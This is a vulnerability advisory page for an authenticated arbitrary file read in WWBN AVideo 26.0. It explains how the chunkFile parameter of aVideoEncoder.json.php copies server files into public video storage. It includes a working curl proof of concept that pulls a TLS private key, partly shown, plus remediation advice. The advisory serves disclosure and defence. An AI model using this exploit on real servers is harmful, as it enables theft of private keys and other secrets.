GHSA-4jw9-5hrc-m4j6
GHSA-5f7v-4f6g-74rj
GHSA-j9m2-xx67-38fc
GHSA-mcj5-6qr4-95fj
GHSA-xgxp-f695-6vrp
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.
For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.
I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.
Affected Versions / Commit
Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.
Preconditions
- Authenticated account with upload permission.
- Attacker owns at least one editable video record.
- Target local file is readable by the web application user.
Steps to Reproduce
- Log in as an upload-capable low-privileged user.
- Create any attacker-owned video via the normal upload endpoint to obtain
videos_idandfilename. - Send a POST request to
aVideoEncoder.json.phpwith the attacker's ownvideos_id, an allowedformat, and a server-localchunkFilepath. - Download the resulting media object from
/videos/<filename>/<filename>.mp4.
Proof of Concept
The included poc.py automates the exploit against the local instance.
Manual reproduction:
# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
-d 'user=attacker&pass=UserPass123!' \
http://127.0.0.1/objects/login.json.php >/dev/null
# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
-F 'upl=@poc.mp4;type=video/mp4' \
http://127.0.0.1/view/mini-upload-form/upload.php
# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}
# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
-d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
http://127.0.0.1/objects/aVideoEncoder.json.php
# 4. Retrieve the copied file over HTTP
curl -s \
http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | headObserved Result
The final GET returned the contents of the local TLS private key:
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...AnalysisAI
Authenticated file read vulnerability in PHP and Docker deployments allows users to exfiltrate arbitrary files from the server by exploiting insufficient path validation in the video upload endpoint, which copies attacker-specified local files to publicly accessible storage. An authenticated attacker can leverage this to read sensitive files from broad server directories including application roots, cache, and temporary locations. No patch is currently available, and the vulnerability carries a 10% exploit prediction score.
Technical ContextAI
The vulnerability exists in the WWBN AVideo platform (CPE: pkg:composer/wwbn_avideo), an open-source video streaming solution built with PHP. The root cause is improper input validation (CWE-73: External Control of File Name or Path) in the chunked upload handler, where the isValidURLOrPath() function inadequately restricts file paths, allowing access to directories like /var/www/, application root, cache, tmp, and videos folders while only blocking .php files. The affected aVideoEncoder.json.php endpoint was designed to handle staged upload chunks but fails to properly validate that the chunkFile parameter points only to legitimate temporary upload locations.
RemediationAI
Update WWBN AVideo to a version newer than 26.0 that includes patches for this vulnerability - check the GitHub repository at https://github.com/WWBN/AVideo for the latest secure version. As an immediate mitigation, restrict upload permissions to trusted users only and implement strict file system permissions to prevent the web server user from accessing sensitive files outside the application directory. Monitor logs for suspicious calls to aVideoEncoder.json.php with unusual chunkFile parameters, and consider implementing additional input validation or WAF rules to block path traversal attempts.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-73 – External Control of File Name or Path
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-14013